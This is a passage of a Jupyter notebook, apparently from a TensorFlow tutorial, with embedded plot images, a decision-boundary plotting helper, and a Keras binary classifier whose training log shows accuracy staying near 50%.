UDCaVmX3dBkzx2bNjFs1ePx1PlYFPTJGjx79pjJZvFwudNvI9QBPVb1OOZ2Q9xeZsbKS+OHk0DhBXNstjMNDqkARv/2az/7JJ8SJeaZO1fG/lo03jmTJqHu8JD9wFdadiyftQ+mXkZEWUyDA4M9oUPvzGwocr3G4Ee+2Beg/+I5oc2YdTr11d+X1FSwYyJP7D8t5W06NSUAUNPqsy4LGiSx+BRp/P5c1MqK20pJoWcelk4S124Ysg4mywmzhjej8+fmYzHnbwCaItOTVm3LEn9oCQqGEpNMvqdEWTlZfLCb48y9rz/sWpxzWqTu/E4vaz5c33iE0cgPSuNtKw0+g7pk5LxDPZvajT4QohvgQYRLt0tpfwyjjkibf+j7kmEEFcDVwM0a2ao4h0MpGWlcdaNAzkryvUrxl5Il94dmDx+Jq5yN33OP4bOx7Xnmq63Rh3TZDHRsnMzzrxhAKP7ja1V7P6tbwzn9pMfTFn5vXhY8O0S2h7ZioImuWh7ORdGUQUIERYOa3VYOWvkqXt1boP9ixoNvpTy5FrOsRGomifdBNgcY74JwATQD21rObfBAcKRpxzGkaccVvm92+mJuntOy7Iz6rXr6XlGN0xmE+17tOGvX1ZEdP8IgZ4MlWVny6rtIYe4iqpwy4RraXvkIQy8+mS+fHFaiFsoFqpJQQvIpGUmdh9sT3/zBzavrL2sQTTadW/N2Mmj+enTX/n8ualsW7sdq92K1+3jlMt6c+aIyEVNDA5O9oVLZx7QRgjREtgEXAAYWRkGMbE5rPS78gRmvDkrxAhbHRbufO8mepx6ROVr59w0kCkTvsVVFh7pIyVsX78TIQRez55xhBDk1M+i9/k9mTdtIRWlLuo1L2DL6q2oJhWvy4fZZkbzB8LOGBRFcO6oM5j0/NS4bxDVOfJkXZX05y9+C4uSqQlFESFJW7sxW82AxGw14/f6OfGi4xj5yjBMZhNnXNefM67rz5bV29i2bgfNOzQJkc42qBvUyuALIc4CXgAKgClCiEVSyn5CiEbo4ZenSin9Qogb+H97dx9bVX3Hcfz9ubft6COUtpRScD4ENh82jBLUaIjIwlOMoMEF5nzY3BQXNhP2TycrS7YR3fYHxCccIuhm1JEYFVixCFkmifEJBLFjjOKI60rXPQQM5aFr+90f59K1tLf3IvTc6z3fV9Lcc+85Pfndb773m9/5nXN+BxoJLstcZ2ZN59xyl/O+t/Ie4vEYDWu3gxmFJSP47q/u7FfsASprK3j8nYdZtfjX7N2xb8DwzulzA32ZGR2fnuDBG+ppPXCYkx2niOfFicVjzP/+HG55YBaPLXmGtzfvHPC/I0pGMOaCys/cuy8pL+amO4J7F8oqSwc8OCaZWFyMrilnxh3TePXRBjpPdvb+3xeKClj69GKuvXkKbX9tp2pCBaXlJQP2UXNxNTUXJz8p63Kbz6Xjsl7nyU6OHelgZFVZylkj393yASsWrUx6Xf+ZzpyZE4LZOTe0rWX10mfZuv4PA3rThaUjWLH5ITatbuStje/39tDj+XHyC/Lo7urGeozK2gqmf+OG3iMBM+OCS2v55bbljK4Opq3Yu2MfP5qzol8vX4LK8RVMW3Ad+987yEVXTGDRstuoqv3/VNAH9xxiff1LNO/6mOoLq7hz+deZMnMyzvnkaS4y9vyxifpbfjHo8M6ZTj80+0xFZYXU/fYHVIwrZ+m05f2GbaTgiOL5Q09iZrz2+OtsWt3IyY5TXH/rVL5Zv4DikUWcOt5J8cgiJNHd1c3fm9soGVU0YH4igJdXbWbdQy+QV5CHmVE2upRHGn/M+Enjzi0YLpK84LvI6O7qZuH4+znSfrTf51LwIJOenqDAKyby8uOD3sFbVFZI/YYfMmXmZLY8s50nHlxPPC+G9RhllaU8vGUZE75Ue17bfexIB01v7ae0vJgvXzPRb2pyn5kXfBcpf9l5kLpZP+8dWun6bzfzl8ym5cBh3m34ADPjq9MuZda3b2LV/WsGnDQtGVXMhranyS8I7qI9cewE+95ppriskElTLvGpfl1W8+mRXaRMuvoSfte6hp1bP6Tj6HEmT7+898Ho3V3dmBl5+UHqf/KnFl5euZlYLIbiMST42aa63mIPwfNXr5rxlYx8F+fOJ+/hu8hrO9TOrm17KS4r5Jqbrz6rB584l228h+/cEMZeOIa535mR6WY4N+z8zJBzzkWEF3znnIsIL/jOORcRXvCdcy4ivOA751xEZPVlmZL+CaT/ZIizUwn8a5j2nSs8Rql5jFLzGA3tfMfni2ZWNdiKrC74w0nS+8muVXUBj1FqHqPUPEZDCzM+PqTjnHMR4QXfOeciIsoFf02mG/A54DFKzWOUmsdoaKHFJ7Jj+M45FzVR7uE751ykeMF3zrmIiEzBl3S7pCZJPZKSXgIlabak/ZKaJdWF2cZMkzRa0huSDiReBz6PL9jukKS9knZLyvn5q1PlhAKPJtZ/KOmqwfaTy9KI0Y2SjiZyZrek5ZloZ6ZIWiepXdJHSdaHkkORKfjAR8BtwJvJNpAUB54A5gCXAYskXRZO87JCHbDdzCYC2xPvk5luZlfm+vXVaebEHGBi4u8+YHWojcyws/jd7EjkzJVm9tNQG5l5zwKzh1gfSg5FpuCb2T4z259is6lAs5l9bGadwEvAvOFvXdaYBzyXWH4OmJ+5pmSNdHJiHvAbC7wNjJJUE3ZDMyjqv5uUzOxN4D9DbBJKDkWm4KepFvhbn/ctic+iotrMDgMkXsck2c6ArZJ2SrovtNZlRjo5EfW8Sff7Xydpj6Qtki4Pp2mfG6HkUE498UrSNmDsIKuWmdlr6exikM9y6rrVoWJ0Fru53sxaJY0B3pD050QPJhelkxM5nzcppPP9dxHM8XJM0lzgVYLhCxcIJYdyquCb2dfOcRctwIQ+78cDree4z6wyVIwk/UNSjZkdThxOtifZR2vitV3SKwSH9Lla8NPJiZzPmxRSfn8z+7TPcoOkJyVVmplPqhYIJYd8SKe/94CJki6SVAAsBDZmuE1h2gjcnVi+GxhwVCSpWFLp6WVgJsEJ8VyVTk5sBO5KXGlxLXD09NBYRKSMkaSxkpRYnkpQe/4dekuzVyg5lFM9/KFIuhV4DKgCfi9pt5nNkjQOWGtmc82sS9ISoBGIA+vMrCmDzQ7bI8AGSfcCnwC3A/SNEVANvJL47eYBL5jZ6xlq77BLlhOSFifWPwU0AHOBZuA48K1MtTcT0ozRAuABSV3ACWChReg2f0kvAjcClZJagJ8A+RBuDvnUCs45FxE+pOOccxHhBd855yLCC75zzkWEF3znnIsIL/jOORcRXvCdcy4ivOA751xE/A8jPqDD6oce4gAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Visualize\n", - "plt.scatter(X[:, 0], X[:, 1], c=y)" - ] - }, - { - "cell_type": "code", - "execution_count": 87, - "id": "1fc40984", - "metadata": {}, - "outputs": [], - "source": [ - "### Visualization function ###\n", - "\n", - "def plot_decision_boundary(model, X, y):\n", - " \"\"\"\n", - " Plots the decision boundary created by a model predicting on X.\n", - " This function has been adapted from two phenomenal resources:\n", - " 1. CS231n - https://cs231n.github.io/neural-networks-case-study/\n", - " 2. Made with ML basics - https://github.com/GokuMohandas/MadeWithML/blob/main/notebooks/08_Neural_Networks.ipynb\n", - " \"\"\"\n", - " # Define the axis boundaries of the plot and create a meshgrid\n", - " x_min, x_max = X[:, 0].min() - 0.1, X[:, 0].max() + 0.1\n", - " y_min, y_max = X[:, 1].min() - 0.1, X[:, 1].max() + 0.1\n", - " xx, yy = np.meshgrid(np.linspace(x_min, x_max, 100),\n", - " np.linspace(y_min, y_max, 100))\n", - " \n", - " # Create X values (we're going to predict on all of these)\n", - " x_in = np.c_[xx.ravel(), yy.ravel()] # stack 2D arrays together: https://numpy.org/devdocs/reference/generated/numpy.c_.html\n", - " \n", - " # Make predictions using the trained model\n", - " y_pred = model.predict(x_in)\n", - "\n", - " # Check for multi-class\n", - " if len(y_pred[0]) > 1:\n", - " print(\"doing multiclass classification...\")\n", - " # We have to reshape our predictions to get them ready for plotting\n", - " y_pred = np.argmax(y_pred, axis=1).reshape(xx.shape)\n", - " else:\n", - " print(\"doing binary classifcation...\")\n", - " y_pred = np.round(y_pred).reshape(xx.shape)\n", - " \n", - " # Plot decision boundary\n", - " plt.contourf(xx, yy, y_pred, cmap=plt.cm.RdYlBu, alpha=0.7)\n", - " plt.scatter(X[:, 0], X[:, 1], c=y, s=40, cmap=plt.cm.RdYlBu)\n", - " plt.xlim(xx.min(), xx.max())\n", - " plt.ylim(yy.min(), yy.max())" - ] - }, - { - "cell_type": "code", - "execution_count": 88, - "id": "c321248f", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 4.2380 - accuracy: 0.5000\n", - "Epoch 2/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 4.0223 - accuracy: 0.5000\n", - "Epoch 3/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 3.8296 - accuracy: 0.5000\n", - "Epoch 4/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 3.7654 - accuracy: 0.5000\n", - "Epoch 5/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 3.6464 - accuracy: 0.5000\n", - "Epoch 6/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 3.4960 - accuracy: 0.5000\n", - "Epoch 7/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 3.3803 - accuracy: 0.5000\n", - "Epoch 8/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 3.2273 - accuracy: 0.5000\n", - "Epoch 9/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 2.8035 - accuracy: 0.5000\n", - "Epoch 10/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 2.5701 - accuracy: 0.5000\n", - "Epoch 11/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 2.3412 - accuracy: 0.5000\n", - "Epoch 12/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 1.8038 - accuracy: 0.5000\n", - "Epoch 13/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 1.1025 - accuracy: 0.5000\n", - "Epoch 14/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 1.0152 - accuracy: 0.5000\n", - "Epoch 15/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.9831 - accuracy: 0.5000\n", - "Epoch 16/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.9608 - accuracy: 0.5000\n", - "Epoch 17/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.9423 - accuracy: 0.5000\n", - "Epoch 18/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.9265 - accuracy: 0.5000\n", - "Epoch 19/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.9130 - accuracy: 0.5000\n", - "Epoch 20/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.9005 - accuracy: 0.5000\n", - "Epoch 21/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8897 - accuracy: 0.5000\n", - "Epoch 22/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8793 - accuracy: 0.5000\n", - "Epoch 23/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.8701 - accuracy: 0.5000\n", - "Epoch 24/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8615 - accuracy: 0.5000\n", - "Epoch 25/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8537 - accuracy: 0.5000\n", - "Epoch 26/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.8460 - accuracy: 0.4960\n", - "Epoch 27/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.8390 - accuracy: 0.4920\n", - "Epoch 28/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8322 - accuracy: 0.4820\n", - "Epoch 29/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8259 - accuracy: 0.4730\n", - "Epoch 30/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8199 - accuracy: 0.4670\n", - "Epoch 31/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8142 - accuracy: 0.4520\n", - "Epoch 32/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8086 - accuracy: 0.4450\n", - "Epoch 33/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.8036 - accuracy: 0.4360\n", - "Epoch 34/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7988 - accuracy: 0.4320\n", - "Epoch 35/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7942 - accuracy: 0.4250\n", - "Epoch 36/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7897 - accuracy: 0.4240\n", - "Epoch 37/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7856 - accuracy: 0.4140\n", - "Epoch 38/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7817 - accuracy: 0.4110\n", - "Epoch 39/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7779 - accuracy: 0.4150\n", - "Epoch 40/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7743 - accuracy: 0.4180\n", - "Epoch 41/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7708 - accuracy: 0.4300\n", - "Epoch 42/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7674 - accuracy: 0.4340\n", - "Epoch 43/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7641 - accuracy: 0.4520\n", - "Epoch 44/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7612 - accuracy: 0.4570\n", - "Epoch 45/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7583 - accuracy: 0.4570\n", - "Epoch 46/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7556 - accuracy: 0.4570\n", - "Epoch 47/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7531 - accuracy: 0.4550\n", - "Epoch 48/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7505 - accuracy: 0.4580\n", - "Epoch 49/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7481 - accuracy: 0.4650\n", - "Epoch 50/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7458 - accuracy: 0.4650\n", - "Epoch 51/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7435 - accuracy: 0.4610\n", - "Epoch 52/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7416 - accuracy: 0.4650\n", - "Epoch 53/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7395 - accuracy: 0.4680\n", - "Epoch 54/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7376 - accuracy: 0.4690\n", - "Epoch 55/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7358 - accuracy: 0.4700\n", - "Epoch 56/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7340 - accuracy: 0.4670\n", - "Epoch 57/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7323 - accuracy: 0.4720\n", - "Epoch 58/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7308 - accuracy: 0.4740\n", - "Epoch 59/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7293 - accuracy: 0.4760\n", - "Epoch 60/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7279 - accuracy: 0.4780\n", - "Epoch 61/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7266 - accuracy: 0.4790\n", - "Epoch 62/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7254 - accuracy: 0.4760\n", - "Epoch 63/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7240 - accuracy: 0.4790\n", - "Epoch 64/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7229 - accuracy: 0.4810\n", - "Epoch 65/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7218 - accuracy: 0.4800\n", - "Epoch 66/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7207 - accuracy: 0.4800\n", - "Epoch 67/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7197 - accuracy: 0.4820\n", - "Epoch 68/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7187 - accuracy: 0.4840\n", - "Epoch 69/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7177 - accuracy: 0.4860\n", - "Epoch 70/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7168 - accuracy: 0.4850\n", - "Epoch 71/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7158 - accuracy: 0.4890\n", - "Epoch 72/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7150 - accuracy: 0.4890\n", - "Epoch 73/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7141 - accuracy: 0.4890\n", - "Epoch 74/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7133 - accuracy: 0.4900\n", - "Epoch 75/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7126 - accuracy: 0.4920\n", - "Epoch 76/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7119 - accuracy: 0.4910\n", - "Epoch 77/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7112 - accuracy: 0.4900\n", - "Epoch 78/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7105 - accuracy: 0.4910\n", - "Epoch 79/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7098 - accuracy: 0.4900\n", - "Epoch 80/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7092 - accuracy: 0.4890\n", - "Epoch 81/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7086 - accuracy: 0.4860\n", - "Epoch 82/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7080 - accuracy: 0.4860\n", - "Epoch 83/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "32/32 [==============================] - 0s 1ms/step - loss: 0.7075 - accuracy: 0.4880\n", - "Epoch 84/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7069 - accuracy: 0.4880\n", - "Epoch 85/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7064 - accuracy: 0.4860\n", - "Epoch 86/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7059 - accuracy: 0.4880\n", - "Epoch 87/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7055 - accuracy: 0.4900\n", - "Epoch 88/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7050 - accuracy: 0.4880\n", - "Epoch 89/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7046 - accuracy: 0.4870\n", - "Epoch 90/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7042 - accuracy: 0.4890\n", - "Epoch 91/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7037 - accuracy: 0.4880\n", - "Epoch 92/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7034 - accuracy: 0.4930\n", - "Epoch 93/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7030 - accuracy: 0.4910\n", - "Epoch 94/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7026 - accuracy: 0.4930\n", - "Epoch 95/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7022 - accuracy: 0.4930\n", - "Epoch 96/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7019 - accuracy: 0.4930\n", - "Epoch 97/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7016 - accuracy: 0.4940\n", - "Epoch 98/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7012 - accuracy: 0.4940\n", - "Epoch 99/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7009 - accuracy: 0.4930\n", - "Epoch 100/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7005 - accuracy: 0.4930\n" - ] - } - ], - "source": [ - "#### Classification model ####\n", - "# Set the random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create the model\n", - "model_4 = tf.keras.Sequential([\n", - " tf.keras.layers.Dense(1, activation=tf.keras.activations.linear), # 1 hidden layer with linear activation\n", - " tf.keras.layers.Dense(1) # output layer\n", - "])\n", - "\n", - "# Compile the model\n", - "model_4.compile(loss=tf.keras.losses.binary_crossentropy,\n", - " optimizer=tf.keras.optimizers.Adam(lr=0.001), # \"lr\" is short for \"learning rate\"\n", - " metrics=[\"accuracy\"])\n", - "\n", - "# Fit the model\n", - "history = model_4.fit(X, y, epochs=100)\n" - ] - }, - { - "cell_type": "code", - "execution_count": 89, - "id": "ad02a36c", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "doing binary classifcation...\n" - ] - }, - { - "data": { - "image/png": "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